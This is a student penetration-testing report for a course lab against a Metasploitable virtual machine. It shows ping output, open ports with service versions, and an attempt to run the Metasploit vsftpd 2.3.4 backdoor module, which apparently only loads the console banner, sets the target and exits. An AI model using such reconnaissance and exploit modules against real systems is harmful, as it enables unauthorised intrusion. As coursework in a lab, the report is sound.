# Security Report prepared for CSCI 1411 - Fall 2023

Updated on 10/04/2023 08:50:53 AM EDT by Lance Hundt

## Target IP Address

```
IP Address:  10.0.2.4
```

## System Machine Name

```
|   Computer name: metasploitable
```

## Target Ping Response

```
PING 10.0.2.4 (10.0.2.4) 56(84) bytes of data.
64 bytes from 10.0.2.4: icmp_seq=1 ttl=64 time=0.348 ms
64 bytes from 10.0.2.4: icmp_seq=2 ttl=64 time=0.696 ms
64 bytes from 10.0.2.4: icmp_seq=3 ttl=64 time=0.544 ms
64 bytes from 10.0.2.4: icmp_seq=4 ttl=64 time=0.454 ms

--- 10.0.2.4 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3055ms
rtt min/avg/max/mdev = 0.348/0.510/0.696/0.127 ms
```

## Ports open

```
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
```

## Exploits

21/tcp open ftp vsftpd 2.3.4 use exploit/unix/ftp/vsftpd_234_backdoor vsftpd.rc exploit -z

## Results of Vsftpd exploit attempt on target

```
[0m[36m[0m
[35m     .~+P``````-o+:.                                    -o+:.[0m
[35m.+oooyysyyssyyssyddh++os-`````                        ``````````````          `[0m
[35m++++++++++++++++++++++sydhyoyso/:.````...`...-///::+ohhyosyyosyy/+om++:ooo///o[0m
[35m++++///////~~~~///////+++++++++++++++ooyysoyysosso++++++++++++++++++///oossosy[0m
[35m--.`                  .-.-...-////+++++++++++++++////////~~//////++++++++++++///[0m
[35m                              `..............`              `...-/////...`[0m
[0m
[0m
[37m                                 .::::::::::-.                     .:::::::-[0m
[37m                                .hmMMMMMMMMMMNddds\...//M\\.../hddddmMMMMMMNo[0m
[37m                                 :Nm-/NMMMMMMMMMMMMM[34m$$[37mNMMMMm[34m&&[37mMMMMMMMMMMMMMMMy[0m
[37m                                 .sm/`-yMMMMMMMMMMMM[34m$$[37mMMMMMN[34m&&[37mMMMMMMMMMMMMMMh`[0m
[37m                                  -Nd`  :MMMMMMMMMMM[34m$$[37mMMMMMN[34m&&[37mMMMMMMMMMMMMMh`[0m
[37m                                   -Nh` .yMMMMMMMMMM[34m$$[37mMMMMMN[34m&&[37mMMMMMMMMMMMMm/[0m
[37m    `oo/``-hd:  ``                  .sNd  :MMMMMMMMMM[34m$$[37mMMMMMN[34m&&[37mMMMMMMMMMMMm/[0m
[37m      .yNmMMh[2;31m//[37m+syysso-``````       -mh` :MMMMMMMMM[34m$$[37mMMMMMN[34m&&[37mMMMMMMMMMMd[0m
[37m    .shMMMMN[2;31m//[37mdmNMMMMMMMMMMMMMs`     `:```-o++++oooo+:/ooooo+:+o+++oooo++/[0m
[37m    `///omh[2;31m//[37mdMMMMMMMMMMMMMMMN/[2;31m:::::/+ooso--/ydh//+s+/ossssso:--syN///os:[0m
[37m          /MMMMMMMMMMMMMMMMMd.     [2;31m`/++-.-yy/[37m...[2;31mosydh/-+oo:-`o//[37m...[2;31moyodh+[0m
[37m          -hMMmssddd+:dMMmNMMh.     [2;31m`.-=mmk.[37m//^^^\\[2;31m.^^`:++:^^o:[37m//^^^\\[2;31m`::[0m
[37m          .sMMmo.    -dMd--:mN/`           [37m||--X--||[0m          [2;31m[37m||--X--||[0m
[37m.........../yddy/:...+hmo-...hdd:.............[37m\\=v=//[0m.............[2;31m[37m\\=v=//[0m.........
[32m================================================================================[0m
[32m====================[37m+------------------------------+[32m=========================[0m
[32m====================[37m| Session one died of dysentery. |[32m=========================[0m
[32m====================[37m+------------------------------+[32m=========================[0m
[32m================================================================================[0m
[0m
[0m                     [32mPress ENTER to size up the situation[0m
[0m
[37m%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%[0m
[37m%%%%%%%%%%%%%%%%%%%%%%%%%%%% Date: April 25, 1848 %%%%%%%%%%%%%%%%%%%%%%%%%%%%[0m
[37m%%%%%%%%%%%%%%%%%%%%%%%%%%%% Weather: It's always cool in the lab %%%%%%%%%%%%%%%%[0m
[37m%%%%%%%%%%%%%%%%%%%%%%%%%%%% Health: Overweight %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%[0m
[37m%%%%%%%%%%%%%%%%%%%%%%%%%%%% Caffeine: 12975 mg %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%[0m
[37m%%%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things %%%%%%%%%%%%%%%%%%%%%%%%%%%%[0m
[37m%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%[0m
[0m
[0m                       [37mPress SPACE BAR to continue[0m
[0m
[0m

       =[ [33mmetasploit v6.1.14-dev[0m                         ]
+ -- --=[ 2180 exploits - 1155 auxiliary - 399 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Metasploit can be configured at startup, see
[32mmsfconsole --help[0m to learn more

[1m[34m[*][0m Processing vsftpd.rc for ERB directives.
resource (vsftpd.rc)> set RHOST 10.0.2.4
[0mRHOST => 10.0.2.4
resource (vsftpd.rc)> exit -y
[0m
```

# END OF REPORT